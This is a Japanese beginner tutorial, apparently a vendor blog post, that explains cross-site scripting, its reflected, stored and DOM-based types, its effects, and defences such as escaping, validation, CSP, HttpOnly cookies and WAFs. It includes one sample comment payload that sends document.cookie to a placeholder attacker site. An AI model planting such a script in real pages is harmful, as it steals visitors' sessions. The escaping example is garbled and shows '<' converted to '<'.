画像に alt 属性が指定されていません。ファイル名: %E3%81%8A%E6%A5%BD%E3%81%97%E3%81%BF-4.png

前回は、SQLインジェクション攻撃について学びました。データベースに不正なSQL文を送り込むことで、個人情報を盗んだり、データを改ざんしたりする恐ろしい攻撃でしたね。

今回は、もう一つの重要な攻撃「クロスサイトスクリプティング(XSS)」について詳しく見ていきます。

この攻撃は、特に掲示板やSNSなど、ユーザーが投稿できるWebサイトで発生しやすい攻撃です。

はじめに

インターネット上には無数のWebサイトがあります。ニュースを読んだり、ショッピングをしたり、SNSに投稿したり――。これらの便利なサービスの多くは、「あなたの入力した情報」をサーバーに送り、その結果をWebページとして返すことで動いています。

しかし、この「入力できる仕組み」を悪用する攻撃が存在します。

その代表的なものが「クロスサイトスクリプティング(Cross-Site Scripting, XSS)」です。

XSSとは何か?

クロスサイトスクリプティング(XSS)とは、Webサイトに本来ないはずの悪意あるスクリプト(プログラム)を仕込む攻撃手法です。攻撃者はWebサイトの脆弱性を突いて不正なコードを埋め込み、他のユーザーがそのページを閲覧したときにユーザーのブラウザ上でそのコードを勝手に実行させます。

たとえば掲示板やSNSの投稿フォームに巧妙に悪意のあるスクリプトを混入させることで、閲覧者のブラウザで知らないうちに不正な動作をさせることができます

攻撃の仕組み(例)

ステップ1:攻撃者が罠を仕掛ける

攻撃者がブログのコメント欄に以下のような投稿をします:

例:

素敵な記事ですね!<script>document.location=’http://悪者のサイト.com?cookie=’+document.cookie</script>

一見すると「素敵な記事ですね!」という普通のコメントに見えますが、その後ろに<script>タグが隠れています。

ステップ2:被害者がページを閲覧

他のユーザーがそのブログ記事を見に来ます。

すると、ブラウザは投稿された内容をそのまま表示しようとします。

ステップ3:悪意のあるスクリプトが実行される

ブラウザは<script>タグを見つけると、その中身を「プログラム」として実行してしまいます。上記の例では:

  1. document.cookie で被害者のCookie(ログイン情報など)を取得
  2. 攻撃者のサイトにその情報を送信
  3. 被害者は何が起きたか気づかない
ステップ4:攻撃者が情報を悪用

攻撃者は盗んだCookieを使って、被害者になりすましてログインできるようになります。

XSSの種類

反射型XSS(Reflected XSS)

攻撃コードがURLパラメータなどに含まれ、その特定のURLを踏んだ人だけに被害が及ぶタイプです。

例えば攻撃者が細工したURLを「限定セールはこちら!」などと偽りメールやSNSで送りつけ、クリックさせると被害者のブラウザで不正スクリプトが実行されます。

格納型XSS(Stored XSS)

攻撃コードがサーバ側に保存されてしまい、そのページを閲覧した全員に自動で被害が及ぶタイプです。

掲示板やコメント欄に前述のようなスクリプト付きの投稿がある場合、その投稿を見た人全員のブラウザで悪意のコードが走ります。

反射型より深刻で、投稿が削除されない限り被害が広がり続ける点も恐ろしい特徴です。

DOM based XSS

サーバを介さずブラウザ内の動的処理によって発生するタイプのXSSです。

WebページのJavaScriptがURLパラメータをそのまま画面に表示するような場合、そこに悪意のコードを差し込まれる恐れがあります。

例えばhttps://example.com/search?q=のようなURLで検索ページを開かせると、ページ内のスクリプトがそのまま実行されてしまう可能性があります。

XSSによって起こる被害

XSSによって引き起こされる被害には、次のようなものがあります。

  • ログインセッション(Cookie)の盗難
  • 偽のログイン画面を表示してパスワードを入力させる(フィッシング)
  • 勝手にSNS投稿やメッセージ送信を行う
  • 広告の不正クリックや仮想通貨マイニングを実行

いずれも「利用者本人が操作していないのに、ブラウザが攻撃者の命令を実行してしまう」ことが特徴です。

XSSの防ぎ方(開発者側の対策)

XSSを防ぐためには、「ユーザーが入力した内容をそのままWebページに出さない」ことが基本です。

具体的な対策としては次のようなものがあります。

1.エスケープ処理(無害化)

 入力された「<」や「>」などの記号をHTMLとしてではなく、単なる文字として表示します。

 例)「<」を「<」に変換する。

2.入力の検証(Validation)

 入力フォームで、想定外の文字やタグを拒否する。

 例)コメント欄ではタグを禁止する、メールアドレス欄では特定の形式だけ許可する。

3.Content Security Policy(CSP)の導入

 Webページで実行できるスクリプトの範囲を制限する仕組み。外部からのスクリプト読み込みを防ぐことができます。

4.HTTPOnly属性の設定

 Cookieに「HTTPOnly」を設定しておくと、JavaScriptからCookieを読み取ることができなくなります。

これらはWebアプリの開発段階で組み込むことが理想です。

WAF(Web Application Firewall)による防御

もしWebサイトがすでに公開されており、すぐにコード修正が難しい場合、WAF(Web Application Firewall)を導入することで一時的な防御が可能です。

まとめ

クロスサイトスクリプティング(XSS)は、サーバーを直接攻撃するのではなく、あなたのブラウザを攻撃するタイプのサイバー攻撃です。

被害は一見気づきにくいものの、個人情報の漏えいやアカウント乗っ取りなど、深刻な結果をもたらします。

XSSを防ぐポイントは次の3つです。

入力をそのまま出力しない(エスケープ処理)

不正な入力を受け付けない(バリデーション)

WAFなどの仕組みで外部からの攻撃をブロック

Webを使う人も、Webを作る人も、「見えないスクリプトが動く危険」を知っておくことが、インターネットを安全に使う第一歩です。

次回の内容

次回は、WAFの種類と選び方について詳しく見ていきます。

  • 資料ダウンロードはこちらをクリック→